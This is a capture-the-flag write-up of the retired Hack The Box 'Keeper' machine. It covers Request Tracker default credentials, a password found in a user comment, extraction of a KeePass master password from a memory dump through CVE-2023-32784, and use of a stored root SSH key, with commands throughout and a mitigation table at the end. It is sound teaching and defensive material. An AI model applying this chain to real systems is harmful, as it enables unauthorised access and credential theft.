Keeper
Quick facts
Section titled “Quick facts”| Platform | Hack The Box (retired) |
| OS | Linux — keeper.htb |
| Difficulty | Easy |
| Approx. time | ~25 min |
| Chain | RT default creds → lnorgaard’s pass in a comment → SSH → KeePass dump (CVE-2023-32784) → master password → root’s SSH key → root |
flowchart TD A["Web: Request Tracker (RT)"] -->|root:password default| B["RT dashboard"] B -->|lnorgaard user's comment| C["lnorgaard : Welcome2023!"] C -->|SSH| D["lnorgaard (user.txt)"] D -->|RT30000.zip| E["KeePassDumpFull.dmp + passcodes.kdbx"] E -->|CVE-2023-32784| F["master password<br/>rødgrød med fløde"] F -->|kpcli| G["root's SSH key (PuTTY)"] G -->|puttygen → OpenSSH| H["SSH root (root.txt)"]
- Port 80 serves Request Tracker (RT), a ticketing system that accepts the default credentials
root:password. - Inside, the
lnorgaarduser has its password in a comment (Welcome2023!), reused for SSH. - In their home there’s a ZIP with a KeePass memory dump and the
.kdbxdatabase. With CVE-2023-32784 we recover the master password from the dump, open the database and pull root’s SSH key (in PuTTY format), which we convert to OpenSSH to log in as root.
1. Reconnaissance
Section titled “1. Reconnaissance”-
Port scan
What I do:
Ventana de terminal IP=<target_ip>ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)sudo nmap -sCV -p$ports $IP -oN nmap/targetedWhat I see: 22 (SSH) and 80 (nginx). With no SSH credentials, I start with port 80.
What I think: the web page links to
tickets.keeper.htb; I add it to/etc/hosts. → Network service enumerationVentana de terminal echo "$IP keeper.htb tickets.keeper.htb" | sudo tee -a /etc/hosts
2. Initial access: default credentials
Section titled “2. Initial access: default credentials”-
Identify Request Tracker
What I see:
tickets.keeper.htbshows the Request Tracker (RT) login, a widely-used open-source helpdesk ticketing system.What I think: given identified software, the first move is to look up its default credentials. RT’s docs give
root:password. → Web authentication and default credentials -
Log in and look for users
What I do: I log in with
root:passwordand go toAdmin > Users.What I see: two users,
lnorgaardandroot. Onlnorgaard’s page, the comments field holdsWelcome2023!.What I think: a comment that looks like a password + reuse = an SSH credential. → Credential hunting
-
SSH as lnorgaard
What I do:
Ventana de terminal ssh lnorgaard@$IP # Welcome2023!cat user.txtWhat I see: a shell.
user.txt→abcd…wxyz(redacted).
3. Escalation to root: KeePass dump (CVE-2023-32784)
Section titled “3. Escalation to root: KeePass dump (CVE-2023-32784)”-
Find the KeePass material
What I do:
Ventana de terminal ls -la ~ # RT30000.zipunzip RT30000.zip # KeePassDumpFull.dmp passcodes.kdbxWhat I see: a memory dump (
.dmp) and a KeePass database (.kdbx). The database is encrypted and needs the master password. -
Recover the master password from the dump
What I think: a KeePass
.dmpnext to the database points to CVE-2023-32784: when the master password is typed, KeePass leaves residual strings in memory for each character (•a,••s,•••s…). A PoC scans those patterns and reconstructs the password character by character.What I do: I copy the ZIP to my box and run the PoC.
Ventana de terminal scp lnorgaard@$IP:~/RT30000.zip .git clone https://github.com/vdohney/keepass-password-dumper.gitcd keepass-password-dumperdotnet run KeePassDumpFull.dmpWhat I see: a probable master password with an uncertain first character:
●dgrød med fløde. -
Open the database and pull root’s key
What I do:
Ventana de terminal sudo apt-get install -y kpclikpclikpcli:/> open passcodes.kdbx # rødgrød med flødekpcli:/> cd passcodes/Networkkpcli:/> show 0 -fWhat I see: an entry with a root SSH key in PuTTY format (
PuTTY-User-Key-File-3: ssh-rsa …).Why it works: the master password opens the database; inside, the team stored root’s private key. → Credential hunting
-
Convert the key and log in as root
What I do: I save the PuTTY key to a file and convert it to OpenSSH with
puttygen.Ventana de terminal # paste the PuTTY key into ssh_key_fileputtygen ssh_key_file -O private-openssh -o id_rsachmod 600 id_rsassh -i id_rsa root@tickets.keeper.htbcat /root/root.txtWhat I see: a shell as
root.root.txt→abcd…wxyz(redacted).
Progressive hints
Section titled “Progressive hints”Identify the port 80 software. What credentials does it ship with?
Check the user records in the admin panel. Which field stores something it shouldn’t?
In the home there’s a memory dump next to a KeePass database. Which 2023 CVE links the two?
The master password “almost” makes sense. Search for the whole thing: it’s a Danish phrase.
Dead ends
Section titled “Dead ends”| What I tried | Result | How I ruled it out |
|---|---|---|
| Brute-forcing the RT login | Unnecessary | The default credentials worked |
Using dgrød med fløde as-is |
Master password error | The first character was missing: rødgrød med fløde |
Cracking the .kdbx with hashcat |
Slow and unnecessary | The dump gave the master password directly |
Methodology takeaways
Section titled “Methodology takeaways”- Identified software → look up its default credentials first. RT, Jenkins, Tomcat, Grafana… they all have them.
- Admin panels → check comments and notes fields. Passwords end up there.
- A
.dmpnext to a.kdbx→ CVE-2023-32784. The memory dump hands you almost the whole master password. - When a result “almost” makes sense, search for it in full. The missing first character is usually deducible from context (here, a known phrase).
- PuTTY-format keys →
puttygen -O private-opensshto use them withssh.
Detection and mitigation
Section titled “Detection and mitigation”| Phase | Detection | Mitigation |
|---|---|---|
| RT login with default creds | root logins from external IPs; first-login alerts |
Change default credentials on deployment; MFA |
| Credential in a comment | Review of text fields holding secrets | Policies against storing passwords in notes; rotate them |
| KeePass dump (CVE-2023-32784) | Hard; watch for process-dump creation | Update KeePass ≥ 2.54; don’t leave .dmp/.kdbx accessible |
| Root SSH key in the database | Audit database access and key usage | Don’t store root keys in shared vaults; per-user keys; rotation |
References
Section titled “References”- CVE-2023-32784 — KeePass master password in memory (NVD): https://nvd.nist.gov/vuln/detail/CVE-2023-32784
- PoC — keepass-password-dumper (vdohney): https://github.com/vdohney/keepass-password-dumper
- Request Tracker — documentation: https://docs.bestpractical.com/rt/